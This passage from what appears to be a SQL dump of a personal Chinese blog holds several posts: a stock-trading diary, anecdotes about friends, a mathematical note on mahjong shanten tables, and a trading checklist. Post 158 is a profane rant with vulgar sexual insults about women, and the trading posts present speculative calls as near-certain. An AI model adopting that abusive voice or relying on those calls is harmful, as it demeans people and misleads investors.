14:00，终于摸到了涨停板。但这是个栏板：说是涨停，却一直没封住，表现为卖一涨停价一直有人在挂单卖。偶尔卖一清零了，买一的封单最多的时候就只有一万多手，里面大单还不到一半，甚至不到三分之一。然后这个板反反复复，开了又封，封了又开。其实这就是一个危险信号：哪怕触及涨停，也没有游资主力有封板的意愿，而是趁着散户拉升一直分散地出货。当时我和豹哥在吃牛杂，我跟豹哥说：这个票尾盘必跳，你信不信。\n\n后面尾盘真跳了，因为真出货了。虽然第二天有低开高走的迹象，但也就是今天没走的在减亏。没有了游资主力拉，当日收跌。\n\n所以，摸清了游资的意图，当天你就能择机卖了。那卖在哪里好？\n\n一句话：只要你是赚的，卖在哪里都好。我个人选择了在早上 8cm 的时候卖，因为我摸不清楚游资出货是直接砸还是慢慢出，万一直接砸呢？我赚的就少了。万一有其他游资接力接回来呢？那到时候买也不迟，因为哪怕有新游资进场，旧游资出货必定会把板砸开的，这时候去排板也有机会买到。\n\n### 济南高新（买入）\n\n济南高新是卖了龙津以后排板进的，这只股是被我放到自选股里面的。当日涨停所以被我看到了。\n\n首先说说是怎样选出放到自选股里面的。\n\n济南高新从 2021/07/05 到 2021/10/25 经历了约 3 个月的横盘震荡。而 10/25 后开始缓慢爬升，均线多头，意味着整理已经结束了。直到 2021/12/02 第一个涨停出现，而后放量开启四连板。\n\n这其实就是主力建仓完毕，又被游资盯上了。底部横盘震荡 + 结束后均线多头 + 大红 K 其实就是启动信号，根据这个做成选股，很容易选出来。但当时我的仓位基本都在陕西金叶，所以就没有买这支。\n\n所以一个很关键的点：一些强势股，你选出来以后并不是马上就适合入的，这得结合你的实际情况。但是加到自选股里面绝对没错。这就像骑驴找马养备胎，你现在可能还和现女友谈恋爱，但是当你和现女友掰了，你得有备胎给你无缝衔接。\n\n后面四连板结束，开始空头走势。期间哪怕有涨停，只要反弹趋势没有确立，是碰都不能碰的。主力就像狮子，游资就像鬣狗。鬣狗抢狮子的猎物，那也得看狮子的脸色。直到 2021/01/13 早上涨停，突破前高，反弹趋势确立，我们再来看看 12 号的龙虎榜，发现华鑫上海的席位。由于 11 号没有上龙虎榜，所以不好判断华鑫是否入局。但我相信是没有的，因为华鑫出手必然要冲板，量化打板不到冲板那一刻是不会猛冲的，哪怕有入也不会入多，更不会上榜。\n\n好了，今天是 13 号，早上 9:51 一根大红量柱冲高，而后 9:52 一根灰柱，量和冲高的红柱差不多。灰柱是什么意思？就是交易发生时，股价没有发生变化，就会是灰柱。板上成交灰柱，说明是有人出货了。但是此时板没开，加之一分钟前那根大红量柱，说明是有新的游资进场了，灰柱出货有人接住了。\n\n如果这时候没有买，或者不确定，不急，继续等待。到 10:19 开始又有人出货开板，量图表现为一根大绿柱，但 2 分钟内又有一根大红柱封板。\n\n这时候当日成交量已经达到前一日成交量了。这说明什么？说明昨日的筹码（或者是昨日的等量筹码）基本上已经出完，有人进来承接了，并且是有实力的人进来的。这个人如果认为今日买无利可图，那他凭啥买？所以我们断定即使今日在板上买，明日依然能赚，所以我们果断在板上排板买入。\n\n这里说个知识点，只要封住板并且尾盘封住，那这个板就叫做换手板。\n\n是不是很熟悉？很多大 V、头条公号股吧，总是有人在说换手板。说什么换手板是稳定信号，是利好，却又不说为什么好。我在这里说下我的拙见：换手板之所以好，是因为换手板产生的原因是旧游资与新游资筹码的交换，同时吸筹。没错，**高位也可以吸筹**。如果纯卖无买或者单纯对倒，今日量必然与昨日量相差无几。但若量是昨日两倍，说明除了对倒昨日旧游资筹码外，仍然**吸了畏高的散户的筹码**。最终导致放量。\n\n这是换手板的本质：**新游资承接旧游资的筹码，并吸畏高散户的筹码**。这是实力游资的手法，明日必然高概率涨停。果不其然，收盘后两大游资现身买席：章盟主和益田路。而卖一则是华鑫上海。判断正确。\n\n反观龙津药业，当日拔高无人承接，下场就是砸盘。\n\n### 后记\n\n今日两支标的，一正一反，一买一卖，实在很经典。\n\n其实用同样的方法，可以找到**国联水产**这支股，并且有机会在 14 日买入。因为 12 日龙虎榜有华鑫上海现身，13 日一字板收盘无华鑫上海现身，意味着 14 日华鑫上海必会出，如果能强势回封，则会造成换手板！可以看到 14 日分时走势开板，并且果断回封。当日收涨 20 cm，且龙虎榜卖三出现华鑫上海，好玩的是华鑫上海卖飞以后一看行情大好又买回去。说明华鑫上海也认可 14 日之后的行情。\n\n写操盘日记是真的累，尤其是我这种写法，基本就是大白话。但是这是一种洞察世界的方式。相信我可以在这条路上越走越好。', 1, 24, '', 1, 0, '2022-01-14 18:35:23', '2022-01-25 16:11:31');
INSERT INTO `tb_post` VALUES (154, -1, 0, 0, 1, '破太岁', NULL, 0, '', '', '看着挂在钥匙串上的门禁卡，我有些发愣。我想起来昨天因为下雨，我帮阿敏把她的电车停到了地下停车场，再给了一把伞让她撑着坐地铁回去。我明明叮嘱过她好几次，让她把智能手环拿来，把停车场的门禁卡 Copy 过去，她硬是不听。她总是一副不想麻烦我的样子，包括这次我要把她的车骑去保管。我生气了，说别废话，钥匙拿来，她却麻利地把钥匙拿给了我。\n\n回想起前几天，我跟她说我先回公司了，她说拜拜。我走出店门，隔着玻璃门，原本没看出来的她忽然转过脸，不知怎么地就和她四目相对了。\n\n朋友圈有个大师说，今年我破太岁，说感情问题严重，会沉迷于与异性的交往中，失去工作学习的动力。我完蛋了，我似乎对阿敏有点心动。我不知是喜是忧，喜是因为我真他妈的喜欢与异性交往，忧是因为我喜欢的人太多了，不能再多了，CPU 就那几个核心数，线程再开也只能时分复用，效率必然会大大降低的。\n\n以往似乎每到秋冬季节，就总是会莫名其妙地躁动。从 17 年回来开始，露水情缘已经不下五六次了，', 1, 4, '', 1, 1, '2022-01-22 10:41:41', '2022-01-22 11:07:36');
INSERT INTO `tb_post` VALUES (155, -1, 0, 0, 1, '半点心', NULL, 0, 'half-heart', '![half-heart.jpg](/upload/20220209_17100558.jpg \"half-heart.jpg\")\n\n> 一颗心分一半好吗', '我被马币放了鸽子，本来说放假要蹭他车回去的，回去前一天才跟我说他车放不下东西了。第二天为了表明他所言非虚，还给我拍了张车后尾箱的照片。上面的确是各种东西满满当当，他外公外婆则坐在后座上。\n\n他说：不是我不想拉。我说：没事没事，是各种东西实在是太多了。实际上我是在内涵他外公外婆也是东西，不过他似乎没听出我的言外之意。那就算了。\n\n被放了鸽子，但这老家还是得回的。找了一圈，最后决定跟左左回家，她放假比较晚，老公小扣则提前跟豹哥的车回去了。\n\n然后左左跟我说，小扣出轨了。\n\n那天我蹭左左的车回家，我按捺不住好奇心，问她前几天在朋友圈发的牢骚是指什么事。她说那天她准备入职，上班要穿正装，就和小扣提了一嘴说吃完晚饭去买一套。小扣说：去不去都可以。她当做是答应了。结果吃完饭小扣不愿意去，说是开小车费油。左左啥也没说，就骑着电车去了。\n\n我问：然后呢？\n\n左左说：然后？然后你小扣就打电话过来，说要开车送我去。我心想我也不是一定要你送吧，但我已经决定自己去了，你事后才一副要补救的样子，就很讨人厌。\n\n我点点头：确实。\n\n左左说：我收入是他三倍，就算要养孩子，我也不可能连油也加不起吧？我自己买的车自己供完的，他倒好，关心起油钱来了。\n\n我没话说。后来左左又开始说起小扣的种种不是。我默默听着，不知该说什么。\n\n左左叹了口气，说：其实小扣出轨了，那个女生你可能还认识，那段时间他俩一直一起组队打游戏，在我发现并让小扣拉黑对方之前，对方发过来的最后几句话是：好好休息，好好工作，好好想我。\n\n说着说着左左的眼泪就啪嗒啪嗒往下掉。我吓了一跳，有点心疼，又怕她一激动把奔驰车开到路边去了。我想问那个女生是谁，但最后又没问出口，我怕待会真出车祸了。\n\n小扣真是个不着调的人。我回想起小扣把我们约张老师唱歌的事告诉小明，我还觉得只有小扣把小明当真朋友。直到后来我在共友群里艾特小明说一些别的事，小扣突然跳出来说：小明不是退群了？然后假装看了下群成员列表说：小明上次说要退群。见大家开始扣问号，他又阴阳怪气地说：求求你们别再伤害小明了。\n\n我突然觉得我算是小明的真朋友了，至少我只是纯粹的欺骗，没有任何羞辱。\n\n----\n\n春节期间发生了两件大事：一件是我在观战好多场麻将后自己会打了，另一件是当地美团骑手站的站长因为打麻将赌博，被人举报然后被抓了。大家骇然。只记得我从麻将计分器上结桌出来，输了差不多 300 分。要不是一分一毛钱，我现在可能已经输到内裤都没了。\n\n我把新闻转发在群里，艾特了豹哥：不要再做大牌了，下次我输急了把你举报了你就完蛋了。蘑菇附和：下次谁再做十三幺我就报警了。\n\n豹哥过了一小时才冒泡：你们在说些什么，我没做过大牌。\n\n回到家，蘑菇在微信上说她 C 盘满了，给 iPhone 改手机铃声改不了，要我帮她远程解决一下。我连上去一看，C 盘上 iTunes 的自动备份占了 20 几个 G，光是计算文件占用就花了一分多钟。她说这是她妹的电脑。我说你妹是不是也用 iPhone，她说不光她妹，她妈也用，她自己还有一台 iPad。\n\n好家伙，我这是一不留神捅了苹果窝了。我把蘑菇、蘑菇妹和蘑菇妈的备份移到别的地方，剩余时间需要大概 1 个小时。我说：我先断开，移好了再连上来，你可以忙你的。\n\n蘑菇说：我刚还想备份我手机上的照片来着。有不少自拍。\n\n我立马说：我不断开了，我要看。她说：你知道在哪啊？我说：你开给我就知道了。\n\n后来我和她看了差不多两个小时她的自拍。只能说这个 iTunes 的备份太多太给力了，感谢 iTunes，感谢乔布斯，感谢库克。期间我像个地摊上挑宝贝的大妈一样跟她要了不少自拍。她问我拿去干嘛，不会是要做表情包吧。我说我拿去做壁纸，一天一张。\n\n她说，那你挑这张吧，这张好看点。\n\n我忽然问：你平时玩游戏么？\n\n她说：不玩。为什么突然问这个？\n\n我说：没事，我随便问问。\n\n----\n\n蘑菇是个很开朗的女孩，和任何人都玩的很来。正因为这样，身边一群朋友已经有两个和她表白了。究竟是蘑菇太吸引人，还是那两个男孩太容易表白？我搞不懂。我发觉男孩们似乎都不太看得清女孩，似乎觉得牵手了、勾肩搭背了，就是这个女孩对他们感兴趣。\n\n这些男孩和我实在是没法比。要不是我见得多了，可能我也和她表白了。\n\n第一次认识蘑菇的时候，也是第一次认识小扣的时候。大概七八年前刚上大学，放假回到家，蚂蚱把大家都约了出来。我看着小扣和蘑菇勾肩搭背的样子，还以为他们是一对。这样的误会一直持续到我大学毕业的那个假期，大家突然跟我说小扣和他的女朋友分手了。我一脸疑惑，心想大伙儿昨天不还一起出来玩么，怎么今天就分了，现在的年轻人都这么洒脱了么？\n\n后来大家告诉我，他女朋友是上次和一个男的一起过来旅游的那个。我花容失色，犹记得当时她和那男的过来，住的是酒店的同一间客房。大家说，那男的是女方的蓝颜。我对蓝颜这个词有点抗拒，我舍友曾经和我说，蓝颜这种东西，加点黄就变绿了。我深以为然：有一次我把蓝色的洁厕剂倒在马桶里，然后撒了一泡黄色的尿，马桶里的水就变绿了。后来我舍友就和我前女友睡到一块去了，我恨不得在他们头上拉泡屎，再把他们从马桶里冲走。\n\n毕业后小扣进入了本地的医院当医生，也就是这个时候他认识了左左。左左也是医院里的医生，比小扣大五岁，左左当时的男朋友也在一个科室。原本说是准备谈婚论嫁了，后面不知怎地就被小扣截了胡。', 3, 48, '', 1, 1, '2022-02-10 18:40:40', '2022-02-13 02:52:11');
INSERT INTO `tb_post` VALUES (156, -1, 0, 0, 1, 'Java 批量抓取更新 Tushare 数据', NULL, 0, 'crawl-tushare-data-with-java', '', '', 1, 2, '', 1, 1, '2022-02-12 17:16:27', '2022-02-12 17:16:27');
INSERT INTO `tb_post` VALUES (157, -1, 0, 0, 1, '麻将向听数拾遗', NULL, 0, '', '', '参考 [九条可怜](https://www.zhihu.com/people/yi-chui-feng-zi-18) 大佬的 [利用查表法求麻将向听数](https://zhuanlan.zhihu.com/p/31000381)。过程中有一些数学证明省略了，在这里记录一下加深理解。说句题外话，大佬在知乎唯二的两篇文章，最新的一篇 [大数快速取模魔法](https://zhuanlan.zhihu.com/p/78183896)，和我当时做的关于伽罗华域（Galois Field, GF）的毕设简直不要太贴合。哎，我真是学艺不精。\n\n原文主要是针对向听数计算和序列生成进行讲解的，本文主题亦如此。\n\n\n## 0x01 向听数计算\n\n对于大众麻将，包括日本麻将和国标麻将，不考虑特殊牌型（七对、十三幺、不靠等）基本的胡牌条件为：m 个面子加上 1 个对子，即可胡牌。为行文方便，将胡牌公式简单记为\n```math\n3m+2\n```\n其中 3 代表[**面子**](https://mahjong.fandom.com/zh/wiki/%E9%9D%A2%E5%AD%90)，2 代表**对子**。结合麻将规则，容易知道对于能够胡牌的手牌总数 $`N`$，有\n```math\nN \\in \\{2, 5, 8, 11, 14\\}\n```\n\n牌效率理论定义了**向听数**（Syanten），指一副牌距离听牌状态**最少**还差几次打摸动作。0 向听 = 听牌，-1 向听 = 胡牌。若非特殊说明，下文所指的向听数皆为一般牌型的向听数。\n\n对两张不同的牌 $`x, y`$ 定义距离计算函数 $`D(x,y)`$：\n\n```math\nD(x,y) = \\begin{cases}\n0, 　(x, y 为同种牌)\\\\\n1, 　(x, y 为同种数牌，且数字差 = 1) \\\\\n2, 　(x, y 为同种数牌，且数字差 = 2) \\\\\n\\infty, 　(otherwise) \\\\\n\\end{cases}\n```\n\n根据 $`3m + 2`$ ，将牌组序列 $`tiles`$ 分为两个部分：要凑成若干个面子的部分 $`tiles_{m},\\ \\sum tiles_{m}\\ mod\\ 3=0`$ 和要凑成一对对子的部分 $`tiles_{p},\\ \\sum tiles_{p}=2`$。定义向听数计算函数 $`S(tiles)`$。\n<!--more-->\n对于 $`tiles_{p}`$，有：\n\n```math\nS(tiles_{p})=\\begin{cases}\n-1,\\ \\exist\\ t_1,\\ t_2\\in tiles_{p},\\ D(t_1,\\ t_2) = 0\\\\\n0,\\ otherwise\\\\\n\\end{cases} \\\\\n```\n\n对 $`tiles_{p}`$，最大向听数永远为 0，即处在听牌状态。很好理解，对于任意两张牌 $`x, y`$，只有 $`D(x,y)=0`$ 时才能凑成对子，使向听数为 -1。\n\n在继续之前，先明确对于三元组（三张牌组成的子牌组） $`tiles_{m}\'\\subset tiles_{m},\\ \\sum tiles_{m}\'=3`$，是没有“向听数”的概念的，因为其不满足：$`3m + 2`$ 的公式，但为了方便证明，依然对三元组 $`tiles_{m}\'`$ 设计辅助向听数计算函数 $`S\'(tiles)`$，有：\n\n$`S\'(tiles_{m}\')=`$\n* $`0`$\n	* $`tiles_{m}\'=\\emptyset`$\n	* $`\\exist t_1,\\ t_2,\\ t_3 \\in tiles_{m}`$ for\n		* $`D(t_1,\\ t_2) = 0,\\ D(t_1,\\ t_3) = 0`$\n		* $`D(t_1,\\ t_2) = 1,\\ D(t_2,\\ t_3) = 1,\\ D(t_1,\\ t_3) = 2`$\n* $`1`$\n	* $`\\exist t_1,\\ t_2,\\ t_3 \\in tiles_{m}`$ for\n		* $`D(t_1,\\ t_2) = 0,\\ D(t_1,\\ t_3) \\ne 0`$\n		* $`	D(t_1,\\ t_2) = 1\\ or\\ D(t_1,\\ t_2) = 2`$\n* $`2`$\n	* $`otherwise`$\n\n不难理解，当不存在任何三元组（即手牌数 N = 2）或存在某一组面子时，无需对三元组进行打摸动作，对向听数自然也就不会有影响了，故值为 0。\n\n我们把使 $`S\'(tiles_{m}\')=1`$ 的序列 $`tiles_{m}\'`$ 称为**次面**。同样不难理解，存在一组三元组组成一组**次面**时，最少只需打摸一次便能将次面组成面子，故值为 1。\n\n其他情况下则为 2，即最少必须要打摸 1 次组成次面，再最少打摸 1 次组成面子。\n\n最终我们可以得到计算序列 $`tiles`$ 向听数的函数：\n```math\nS(tiles) = Min(S(tiles_{p}) + \\sum S\'(tiles_{m}\'))\\\\\\forall tiles_{m}\'\\subset tiles_{m}\\\\\\forall tiles_{p},\\ tiles_{m}\\subset tiles\n```\n\n\n撇开公式 $`S(tiles) = Min(S(tiles_{p}) + \\sum S\'(tiles_{m}\'))`$ 中的 $`Min`$ 不谈，单独考虑 $`S(tiles_{p}) + \\sum S\'(tiles_{m}\')`$.\n\n无论有无对子，一副总数为 N 的牌最多能组成的三元组组合数 $`K`$ 必为 $`K=\\lfloor N \\div 3 \\rfloor=\\frac{N-2}{3}`$，记某种三元组组合下面子数量为 $`G`$，次面数量为 $`G\'`$，无法组成面子和次面的三元组数量为 $`K - G - G\'`$，则由辅助向听数 $`S(tiles_{m}\')`$ 的定义，我们有：\n\n```math\n\\sum S\'(tiles_{m}\')=0 \\cdot G + 1 \\cdot G\' + 2 \\cdot (K - G - G\')\n```\n\n记$`P=-S(tiles_{p})`$，将上式一同代入 $`S(tiles_{p}) + \\sum S\'(tiles_{m}\')`$，记某种对子和三元组的组合下的向听数为 $`S`$，有：\n\n```math\nS = 2(K - G) - G\'-P\n```\n\n这便是原文中总结出的一般向听数计算公式。\n\n根据定义，向听数是指一副牌距离听牌状态**最少**还差几次打摸动作。故对一副牌进行分析时，要确保计算公式中 $`S(tiles_{p}) + S\'(tiles_{m}\')`$ 最小，我们还需要按照一定的优先级对所有可能的 $`tiles_{p} 和 tiles_{m}\'`$ 进行遍历，即寻求最优（$`Min`$）组合。\n\n> 插播一条题外话，经常看到有人说普通牌型的最大合法向听数是 8，根据以上公式便可证明，即每个可能的三元组都无法组成面子或次面，剩下的二元组也不能组成对子，此时向听数最大，为\n$`S_{max}(N) = \\frac{N - 2}{3}\\cdot 2`$，代入 N = 14 即可得到 8.\n\n## 0x02 查表序列定义和生成\n\n想象一组 N = 14 的手牌，一共有 $`\\mathrm{C}_{34\\cdot 4}^{14} = 425,0305,029,168,216,000`$ 种组合，去重后仍有 $`326,520,504,500`$  种组合([麻雀の数学](http://www10.plala.or.jp/rascalhp/mjmath.htm)) ，要对每种组合的每种可能的对子/面子/搭子/杂牌进行 DFS 剪枝，简直不要太爽。为了更有效率地进行查表的表生成，我们必须定义一种经过抽象的序列，使得可能的组合数大大减少，再计算对应的向听数。\n\n### 0x02 << 0x00 天凤牌理表达式\n对于一组牌，首先按照万、筒、条、字划分牌组，而后数牌以牌面数值从小到大排列，字牌以「东南西北白发中」为顺序分配 1 - 7 的数字作为牌面数值，并从1开始排列。下面是一组排序好的、牌数 N = 14 的一组牌：\n\n![11555m223p789s123z](/upload/20220314_12222343.png \"11555m223p789s123z\")\n\n对于**已排序**的牌组，取每个牌的牌面数值依次拼接，并在每种花色子牌组末尾拼接该花色的标记符号：万-m，筒-p，条-s，字-z。对于上面的牌组，其表达式为：[11555m223p789s123z](https://tenhou.net/2/?q=11555m223p789s123z)。这便是**天凤牌理**的表达式。为方便起见，下文所有手牌牌组均用牌组表达式表示。\n\n### 0x02 << 0x01 序列定义\n根据上文可知，决定向听数的是牌序列 $`tiles`$ 中若干组牌的构成，和牌元素间的距离，即：是否有对子、面子、搭子和其对应的数量。我们可以从具体的牌序列 $`tiles`$ 中抽象出牌与牌之间的距离信息、牌的数量信息来构建一种新的抽象**序列** $`s`$，确保能从抽象序列中恢复出对子、面子、搭子信息。容易想到我们必须保存**牌数量**和**牌距离**。\n\n定义序列生成函数 $`s=E(tiles)`$：将每种牌转换为牌数量，并根据上文定义的 $`D(x,y)`$，在各个牌数量间插入牌的距离，对于上面的牌组，可得以下的序列：\n\n```math\n2_{\\infty}3_{\\infty}2_{1}1_{\\infty}1_{1}1_{1}1_{\\infty}1_{\\infty}1_{\\infty}1\n```\n\n直观上我们已经丢失了对牌组花色和牌面数值的了解，但我们依然可以根据序列来遍历出所有对子、面子和搭子的组合。\n\n### 0x02 << 0x02 子序列定义\n\n考虑下面两组牌：\n\n![11555m223p789s123z](/upload/20220314_12222343.png \"11555m223p789s123z\")\n![223m789p11555s123z](/upload/20220314_14591799.png \"223m789p11555s123z\")\n\n其序列分别为\n\n```math\n2_{\\infty}3_{\\infty}2_{1}1_{\\infty}1_{1}1_{1}1_{\\infty}1_{\\infty}1_{\\infty}1\\\\\n2_{1}1_{\\infty}1_{1}1_{1}1_{\\infty}2_{\\infty}3_{\\infty}1_{\\infty}1_{\\infty}1\n```\n\n看起来似乎不一样，但若是把第一组牌的万替换成条，条替换成筒，筒替换成万，就变成第二组牌了。两组牌的向听数其实是一样的。再考虑下面两组牌：\n\n![11555m](/upload/20220314_15073087.png \"11555m\")\n![11155m](/upload/20220314_15073013.png \"11155m\")\n\n其序列分别为\n\n```math\n2_{\\infty}3\\\\\n3_{\\infty}2\n```\n\n进一步我们知道：序列与序列之间可以通过 $`\\infty`$ 进行拆分重组，且不影响向听数。我们把经过 $`\\infty`$ 拆分后得到的序列$`s\'`$称为子序列。子序列不包含 $`\\infty`$，自然无法再拆分，但可以进行翻转（Flip），比如考虑下面两个可能的子序列：\n\n```math\n2_{1}3\\\\\n3_{1}2\n```\n\n实际上对于向听数的计算也是一样的。\n\n将能通过拆分、重组子序列得到相同序列的序列称为**同义序列**，为了进一步减少所有可能序列的总数，我们必须定义一种方法，将多个同义序列统一表示为一种序列；还能将顺序和倒序的子序列同一表示为一种子序列。经过两次统一表示后，得到最终的序列，再进行向听数计算。\n\n### 0x02 << 0x03 序列编码和排序\n\n参照九条可怜大佬的文章，编码规则部分略。对于子序列，同样应用该种编码规则。\n\n对顺序子序列 $`s\'=2_{1}3`$ 应用编码规则，可以得到二进制序列 $`0b11010010`$，对倒序子序列 $`s\'_{flip}=3_{1}2`$ 应用编码规则，可以得到二进制序列 $`0b11100001`$，对两个二进制数做 $`Min`$ 运算（做$`Max`$运算也可，本文采用$`Min`$），得到最终的子序列。\n\n对已排序子序列的序列中的每一个子序列再次采用升序排序（降序也可，本文采用升序），再用 $`\\infty`$ 两两拼接，得到最终序列，这样就能保证能将多种同义序列统一表示了。\n\n容易知道最长的编码长度为 2位终止符 + 14 * 2 位牌数 + 13 * 2 位距离 = 56 位，而向听数最大为 8，用 4 位来存储绰绰有余了，总的序列 + 向听数占用的位数不会超过 64 位，可以用一个 ulong 类型直接存储。原文九条大佬对向听数进行了排序再存储序列，还做了差分编码和 Huffman 编码，尽可能把生成表压缩到最小，而我直接存储了 ulong。对于生成的 1,292,057 条结果，文件大小为 9.85MB，感觉还可以接受，就不做进一步压榨了。\n\n### 0x02 << 0x04 序列枚举生成\n\n基本思路：排列组合。\n\n**牌数枚举**\n\n对于手牌总数 $`N \\in \\{2, 5, 8, 11, 14\\}`$，不考虑牌与牌之间的距离，首先考虑每张牌牌数的排列组合情况，如 $`N = 5`$ 时，有：\n\n```math\n\\begin{cases}\n1_{?}1_{?}1_{?}1_{?}1\\\\\n1_{?}1_{?}1_{?}2\\\\\n1_{?}1_{?}2_{?}1\\\\\n1_{?}2_{?}1_{?}1\\\\\n2_{?}1_{?}1_{?}1\\\\\n1_{?}1_{?}3\\\\\n1_{?}3_{?}1\\\\\n3_{?}1_{?}1\\\\\n1_{?}4\\\\\n4_{?}1\\\\\n5, 不符合条件,\\ 因为单张手牌最大上限为 4\\\\\n\\end{cases}\n```\n\n即生成 N 对应的手牌数下的可能牌数排列组合。\n\n**距离枚举**\n\n生成数量枚举后，对各个牌之间的距离，即 $`?`$ 处进行填充，填充区间为 $`? \\in \\{0, 1, 2\\}`$，即对应距离 $`\\{1, 2, \\infty\\}`$。\n\n由于字牌两两之间距离永远为 $`\\infty`$，故不存在子序列最大距离和。对于数牌，距离小于等于 2 的任意 N 张牌的子序列组合最大距离都只能为 2，这点由 $`D(x, y)`$ 的定义也可以推导出来。容易知道一组同花色数牌中，满足最大距离之和的数牌有：1 2 3 4 5 6 7 8 9 或 1 3 5 7 9，其距离和都为 8，故可以限制每个经 $`\\infty`$ 分割的子序列内所有**编码前距离**的和 $`\\le 8`$。\n\n另外，对于上述数量枚举生成的可能的牌数的排列组合，如果排列 1 = 逆序排列 2，经距离枚举后都可以生成逆序排列的序列，譬如 $`1_{?}1_{?}3`$ 和 $`3_{?}1_{?}1`$ 两种排列就可以只针对 $`1_{?}1_{?}3`$ 进行距离枚举，相当于在这一步就做了初步的序列排序。当然，这一步也可以交给后续的序列排序来做。需要注意的是： $`1_{?}1_{?}3`$ 的距离枚举和 $`1_{?}3_{?}1`$ 的距离枚举结果虽然有交叉，但两者的总距离枚举是不一样的，不能做同义替换。\n\n## 0x03 改进空间\n\n用简化序列的方式进行向听数的查询，对于表生成来说是便捷的，但若用来辅助打麻将，其实仍有改进的空间。\n\n### 0x03 << 00 面听数\n考虑序列 12m11s 和 23m11s，转换成序列都是 $`1_{1}1_{\\infty}2`$，虽然向听数都是 0，但显然前者单吊 3m，后者两面听 14m。按照概率，面听数越多，胡牌概率是越大的。扩展到非听牌的情况也是一样，若想让向听数前进 1，听两个边张和听一个坎张的概率也是不一样的，但是转换成序列就看不出来了，还是得从牌面上来分析。\n\n### 0x03 << 01 运算量\n由于实际使用查表法时，是先将手牌转换成序列再查表的，减少向听数的查询方法是对牌内每一张牌进行替换再重新计算序列、查表，从起牌开始计算到胡牌的运算量呈指数级增长，而出牌一般又有时间限制，遍历完所有的情况并找寻全局最优解显然不现实。所以应用时，一般都要考虑运算的深度，即：当向听数前进多少时停止计算，寻求运算量和局部最优解之间的平衡。这样就引申出下列一系列其他问题。\n\n### 0x03 << 02 回退\n寻求局部最优解带来的问题也显而易见，比如局部最优解不断引导我们听牌，听牌时，我们的序列是 23m11s，但此时场上 14m 已经绝张了，我们又不得不将向听数退回到 1 的情况，如果此时无论走任何路径，剩余牌仍无法让我们达成胡牌，向听数还得后退到 2。这样的情况其实并不少见。\n\n### 0x03 << 03 更新\n按照上文的方法，计算向听数的时候手牌数总是满足 N % 3 = 2，意味着当且仅当我们出牌时才能计算向听数。但是一巡中其他三家出牌的时间占了大头，很可能刚计算完局部最优解，打出了一张牌等待下一次摸牌的过程中，其他三家打出的牌（亦或是鸣牌）已经让上一次的局部最优解不成立了，这时候就需要适时更新上一次的局部最优解。\n\n### 0x03 << 04 特殊规则下的局部最优解\n对于部分地方麻将，规则中是不允许吃牌的，也就是说顺子成牌只能靠自摸。考虑下面两种序列：23m、55m，假设场上 14m 和 5m 都未现，牌山中剩余牌数为 n，则自摸成面子的最大概率：前者为 8 / n * 0.25 = 2 / n，后者为 2 / n * 0.25，从概率上来说前者自摸成面子的概率比后者大。但是考虑到 55m 可以由碰形成面子，所以后者成面子的实际概率应是比 2 / n * 0.25 大的，最大值正好是 2 / n，这时候就要结合场上其他家在牌海中的情况来分析，当其他人摸到 5m 后是否会打出，进一步来优化局部最优解。\n', 0, 745, '', 1, 0, '2022-02-24 12:31:27', '2023-12-13 03:33:07');
INSERT INTO `tb_post` VALUES (158, -1, 0, 0, 1, '防御失败', NULL, 0, 'defense-failed', '', '![Defense](/upload/20220414_23311584.jpeg \"Defense\")\n\n和阿婷吵了一架，原因竟是小扣去玩花场玩到四五点。阿婷问我，要是以后我出去玩她叫我回家我会不会马上回，我说看情况，她就生气了。我也突然怒气上头了，我搞不懂一个看情况究竟有什么好生气的，他妈的我要和客户喝酒，你也要我马上回？我要被一个女的拿着刀架在脖子上说不操她就杀了我，我也要马上回？我他妈拿命回。\n\n他妈的看情况也有错，他妈的我朋友玩花场我他吗也要玩？合着这 SB 女的就喜欢听你妈好听的不想听实话是吧，突然觉得这阿婷和戴小姐也是一个 B 样，全他妈是 SB。\n\n这个戴小姐也是吗 SB，深夜突然出现在我扣扣空间访客里，他妈的分手这么久了想干嘛，男朋友鸡巴小啦？阳痿早泄啦？深夜 B 又痒啦？还记得当时分手后的假期嘛？你和闺蜜喝多了我送你回家，在电车后座上一直抱着我，嘴里念叨的却是别的男人的名字。我他妈一点儿也不难受，反倒觉得有点有趣。戏精是吧？真把我当成别的男人了也好，就算是演的那我也陪你演，看看谁他妈人设更深情？\n\n这小扣也是他妈的傻逼一个，管不住自己的屌让女朋友怀孕升格成了老婆，感情基础没那么牢靠也拿了证结婚，两年过去小孩都会打酱油了，还他妈在游戏里面和妹妹早安晚安么么哒，还要瞒着自己老婆和女同事出去玩花的。能早点离嘛？我他妈馋你老婆好久了。\n\n我真是尼玛的破大防了。\n\n> 每天一遍，防止沦陷', 0, 37, '', 1, 1, '2022-03-21 16:33:34', '2022-05-07 11:19:57');
INSERT INTO `tb_post` VALUES (159, -1, 0, 0, 1, '龙头战法', NULL, 0, '', '', '## 龙头战法复盘\n\n看涨停、跌停、板块主流、龙头是谁、谁有持续性。\n\n### 主流板块\n\n#### 崛起\n\n1. 涨停多的板块\n2. 资金流入多的板块\n3. 龙虎榜上榜票板块\n\n主流板块仅限于龙头战法，中长线是不能光靠一两天的涨停数来看是否主流、当长线拿的。因为毕竟有一些市场高标、精神龙头、白马股，这些股是脱离主流板块运行的。\n\n#### 持续\n\n1. 涨停数增多的板块\n2. 龙虎榜上榜数增多的板块\n3. 涨停晋级多的板块\n4. 资金流入持续增多的板块\n\n这时候可以考虑补涨龙，加仓或做 T。\n\n#### 退潮\n\n1. 涨停晋级失败个股增多\n2. 连板高标断板或跌停\n3. 资金流入减缓或流出增多\n\n这时候可以考虑分批减仓或清仓。\n\n#### 复盘\n\n板块的复盘可以脱离个股，看市场整体热度和情况。过程中数据是比较好抓的，各大行情网站和中小复盘网站都提供了较为良好的爬虫环境。\n\n需要注意的是，主流板块中的个股是可能包含其他板块属性的，板块与板块之间也是可以转换的。如基建板块可以衍生为房地产板块，或是细化为基础水利、地下盾构等小板块。\n\n\n\n涨停可以看，跌停也可以看。结合涨跌停看：板块崛起、持续、退潮。\n涨停的可以看封单金额、开板次数、资金净流入、龙虎榜。\n龙虎榜可以看营业部历史胜率，有没有营业部协同作战，这个应该是比较复杂的。\n\n', 1, 2, '', 1, 1, '2022-05-09 14:21:08', '2022-05-20 18:33:32');
